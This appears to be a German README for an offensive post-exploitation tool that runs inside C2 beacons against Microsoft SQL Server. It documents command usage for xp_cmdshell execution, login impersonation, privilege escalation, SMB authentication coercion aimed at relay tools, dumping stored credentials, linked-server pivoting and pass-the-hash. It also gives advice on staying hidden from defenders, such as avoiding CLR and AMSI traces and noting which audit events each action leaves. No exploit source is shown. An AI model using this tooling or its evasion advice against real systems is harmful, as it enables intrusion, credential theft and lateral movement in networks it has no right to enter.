
Eine Beacon Object File Suite für Microsoft SQL Server, die selbst TDS 7.4 auf der Leitung spricht
Eine Beacon Object File-Suite für Microsoft SQL Server, die selbst TDS 7.4 auf dem Draht spricht, in C. Kein msodbcsql.dll, kein sqloledb.dll, kein .NET CLR, kein PowerShell. Ein COFF pro Architektur, lädt in jedes Beacon, das die kanonische Beacon-API respektiert.
SQL Server taucht in fast jedem Engagement auf. Die beiden Tools, zu denen man greift, sind SQLRecon / PowerUpSQL (CLR + PowerShell) und alles, was sqlcmd.exe umschließt. Beide hinterlassen mscoree.dll, PowerShell AMSI-Ereignisse oder eine vollständige Kopie des Microsoft ODBC-Treibers im Beacon-Speicher. Nichts davon ist notwendig: TDS sind nur gerahmte Bytes über TCP mit einem Schannel-Handshake davor, und jedes BOF-fähige Beacon hat bereits ws2_32, secur32, schannel und bcrypt geladen.
Also implementiert mssqlbof TDS von Hand, in C, und steckt direkt in die SSPI- oder BCrypt-Primitiven, die der Operator für das Ziel benötigt. Beacon lädt ein ~48 KB großes Objekt, führt SQL aus, entlädt. Nichts anderes gelangt in den Prozess.
Eine Objektdatei pro Architektur. mssql.x64.o ist auf jedem Framework dasselbe Binary – wir verwenden nur die kanonische Beacon-API (BeaconPrintf, BeaconDataExtract usw.) und das <LIB>$<fn>-dynamische Importmuster, das COFF-Lader zur Laufzeit auflösen.
apt install gcc-mingw-w64 libssl-dev
make
Erzeugt build/mssql.x64.o und build/mssql.x86.o. Auf den Teamserver legen, mit dem BOF-Runner Ihres C2 laden.
Alles geht durch eine Objektdatei mit --action <verb>:
--action find LDAP-Aufzählung von MSSQLSvc SPNs im aktuellen Wald
--action info --host <sql> Server/Version/aktueller Benutzer/sysadmin/DB
--action query --host <sql> --sql "..." beliebiges T-SQL, mehrere Zeilen, mehrere Resultsets
--action links --host <sql> Aufzählung von Linked Servern (ein Hop)
--action exec --host <sql> --cmd "..." xp_cmdshell mit automatischer Aktivierung + Wiederherstellung
--action impersonate --host <sql> --discover Anmeldenamen auflisten, die Sie EXECUTE AS verwenden können
--action impersonate --host <sql> --login X --sql "..."
T-SQL als X über EXECUTE AS LOGIN ausführen
--action privesc --host <sql> Privesc-Oberflächenaufzählung in sechs Abschnitten
--action coerce --host <sql> --to "\\listener\x"
SMB-Auth-Erzwingung via xp_dirtree
--action passwords --host <sql> sys.linked_logins + sys.credentials auslesen
--action chain --host <sql> --via LINK --sql "..."
EXEC (...) AT [LinkedServer]
--action find läuft ohne Host – es spricht mit dem DC des Operators über LDAP.
Vier Modi. Jeder Modus wird Ende-zu-Ende gegen SQL Server 2019 in COFFLoader und Adaptix C2 in einer echten Domäne verifiziert.
--auth sspi (Standard) aktuelles Beacon-Thread-Token
Kerberos, wenn SPN vorhanden, sonst NTLM.
Respektiert make_token / steal_token.
--auth ntlm --domain D --user U --pass P explizites NTLM-Klartext.
Treibt SSPI NTLM-Paket, mehrere Runden.
--auth ntlm --domain D --user U --hash <NT> Pass-the-Hash.
Handgemachtes NTLMv2 (siehe unten).
Kein SSPI, kein lsass, kein make_token.
--auth sql --user U --pass P SQL-Authentifizierung.
--hash akzeptiert einen 32-stelligen hex NT-Hash oder die LM:NT-Form, die secretsdump ausgibt.
SSPI + SEC_WINNT_AUTH_IDENTITY istAcquireCredentialsHandleW(NULL, "NTLM", ...) akzeptiert nur Klartext-Passwörter in der Credential-Identity-Struktur. Der NTLM-Provider leitet den NT-Hash intern ab. Die Einspeisung eines Hashes erfordert das Patchen von lsass (was Mimikatz sekurlsa::pth tut) oder das Ausführen des Beacons unter einem Opferprozess, der bereits vorauthentifiziert wurde.
Die Alternative – die wir gewählt haben – besteht darin, SSPI bei PTH vollständig zu umgehen und die NTLMSSP-Nachrichten selbst zu erzeugen. src/tds/ntlm_pth.c baut einen Typ-1-NEGOTIATE, parst die Typ-2-CHALLENGE des Servers aus dem TDS 0xED-Token, führt die NTLMv2-Mathematik mit dem HMAC-MD5-Provider von bcrypt.dll durch und schreibt einen Typ-3-AUTHENTICATE, den SQL Server gerne an den DC weiterleitet.
Der erste Anlauf scheiterte mit error 18452: login is from an untrusted domain. Das Einfangen von Impackts funktionierender Authentifizierung auf dem Draht neben unserer half, es schnell einzugrenzen: Wir sendeten 24 Nullen für die LMv2-Antwort und die volle 0xe288... Windows Negotiate-Flag-Suppe. Das Anpassen von Impackts LMv2-Berechnung und seines kleineren 0xa2880205-Flagsatzes (keine KEY_EXCH, kein SIGN, kein ALWAYS_SIGN) brachte den Server dazu, den Hash zu akzeptieren. Ausführlicher Bericht in BLOG.
--action exec--impersonate auto (Standard) versuche EXECUTE AS LOGIN, dann TRUSTWORTHY-Sprung
--impersonate login EXECUTE AS LOGIN über eine IMPERSONATE-Gewährung
--impersonate trustworthy Sprung über dbo einer sysadmin-eigenen TRUSTWORTHY-Datenbank
--impersonate none fehlschlagen, wenn nicht sysadmin
privesc zählt die Oberfläche auf, bevor Sie eine Methode auswählen: sysadmin-Mitgliedschaft, IMPERSONATE-Gewährungen (mit dem sysadmin-Status des Ziel-Logins), TRUSTWORTHY-Datenbanken im Besitz eines sysadmin (mit Ihrem Zugriff), Linked Server, Serverberechtigungen und den Zustand von xp_cmdshell.
apt install gcc-mingw-w64 libssl-dev
make # Cross-Kompilieren von BOFs auf x64 + x86
make tds # Linux-Shared-Library des TDS-Kerns (für Fuzzing / Tests)
Die Linux-Shared-Library teilt jede TDS-Quelldatei mit dem Windows-Build; nur tls_schannel.c / sspi.c / ntlm_pth.c werden gegen OpenSSL / Stub-Äquivalente ausgetauscht.
Nichts ruft libc oder Win32 direkt auf. Jedes externe Symbol geht durch die <LIB>$<fn>-dynamische Importkonvention in src/common/dynimports.h. Überprüfen mit:
x86_64-w64-mingw32-objdump -t build/mssql.x64.o | grep UND
Nur MSVCRT$*, WS2_32$*, SECUR32$*, BCRYPT$*, CRYPT32$*, SCHANNEL$*, WLDAP32$*, KERNEL32$*, ADVAPI32$* und __imp_Beacon* sollten auftauchen. Kein msodbcsql.dll. Kein sqloledb.dll. Kein mscoree.dll.
Alles TLS ist echter Schannel (kein Stub) mit der SQL Server PRELOGIN-Wrap-Eigenheit behandelt: Der Handshake läuft innerhalb von TDS PRELOGIN Typ-0x12-Paketen, dann geht LOGIN7 als rohe TLS-Anwendungsdaten raus, und der Server antwortet auf dieses erste Login-Paket im Klartext. Mehrstufige SSPI-Fortsetzungen gehen ebenfalls im Klartext – wenn Sie sie mit TLS verschlüsseln, schließt SRV02 einfach den Socket.
v0.1.2 – Multi-Auth, PTH, 11 Aktionen, laborverifiziert.
mssql.x64.o) mit 11 Aktionenexec: login, trustworthy, auto, noneBekannte Randfälle:
OPENQUERY-Kette ist v0.2.do_connect leert ihn – Nebeneffekt ist die [*] connected as ...-Zeile, die jede Aktion protokolliert. Die Ursache liegt im Post-LOGINACK-Lesepfad und wird in v0.2 ordentlich behoben.Cobalt-Strike/bof_template für die kanonische Beacon-API-Oberfläche, an die sich dieses Projekt exakt hält.TrustedSec/COFFLoader für einen unabhängigen Lader zum Testen.impacket's ntlm.py und mssqlclient.py – die Referenz, gegen die wir beim Verfolgen der NTLMv2-Flag-Suppe diffed haben.[MS-TDS] und [MS-NLMP] – die Spezifikationen, denen all diese Handarbeit folgt.Opus 4.6 – Teile der Dokumentation wurden mit Hilfe von Opus 4.6 verfasst. Der gesamte Code ist von MIR handgeschrieben und Ende-zu-Ende im Labor verifiziert.MIT.
| C2 | x64 | x86 |
|---|
| Cobalt Strike | ja | ja |
| Havoc | ja | ja |
| Sliver | ja | ja |
| BruteRatel | ja | ja |
| Nighthawk | ja | ja |
| Outflank Stage1 | ja | ja |
| AdaptixC2 | ja | ja |
Metasploit execute_bof | ja | ja |
| PoshC2 | ja | ja |
| Aktion | Zusätzliche DLLs über Beacon-Baseline hinaus | Serverseitige Spur | Hinweise |
|---|
find | wldap32 | DC-Ereignis 1644 (selten) | Nur LDAP, kein SQL berührt |
info / query / links / privesc / passwords | secur32 oder bcrypt, schannel, ws2_32 | SQL-Audit 33205, falls aktiviert | Reines TDS, kein ODBC-Fingerabdruck |
exec | gleich | xp_cmdshell + sp_configure in der Standard-Ablaufverfolgung | Laut. Verwenden Sie --impersonate von einem Low-Priv-Login, um nicht als NT SERVICE zu landen |
impersonate | gleich | EXECUTE AS-Audit 33205 + 33206 | |
coerce | gleich | xp_dirtree-Versuch protokolliert | Richten Sie es auf responder / ntlmrelayx |
chain | gleich | EXEC AT auf dem Linked-Server-Ziel protokolliert | Pivot-Primitiv |
| Dokument | Inhalt |
|---|
docs/PROTOCOL.md | TDS 7.4 Deep Dive: Paketrahmen, PRELOGIN-Optionsstrom, LOGIN7-Passwortverschleierung, ALL_HEADERS auf SQLBatch, die Tokenstrom-Grammatik (COLMETADATA / ROW / NBCROW / DONE / LOGINACK / ENVCHANGE / 0xED SSPI-Fortsetzung), die TLS-Handshake-Eigenheit, die mehrstufige NTLM-Pumpe. |
docs/OPERATOR.md | Ende-zu-Ende-Lab-Anleitung: Build, Einrichten eines Adaptix-Listeners, Drop eines Beacons auf einem Windows-Host, Ausführen jeder Aktion mit jedem Auth-Modus (einschließlich PTH) und Hinweise zur C2-übergreifenden Portabilität. |
docs/OPSEC.md | Pro Aktion On-Wire- und In-Memory-Fußabdruck. Was jede Aktion in das Beacon lädt, was sie in SQL-Audit hinterlässt und was ein Verteidiger sehen kann. |
docs/COMPATIBILITY.md | C2-Framework-Matrix, SQL Server-Versionsmatrix und welche Auth-Modi gegen welche Ziele verifiziert sind. |
BLOG | Die Debugging-Erzählung: Wie die Pass-the-Hash-Implementierung tatsächlich zusammengekommen ist, mit Wire Captures, der LMv2-Null-Byte-rote Hering und dem tshark-Diff gegen Impacket, der es enthüllte. |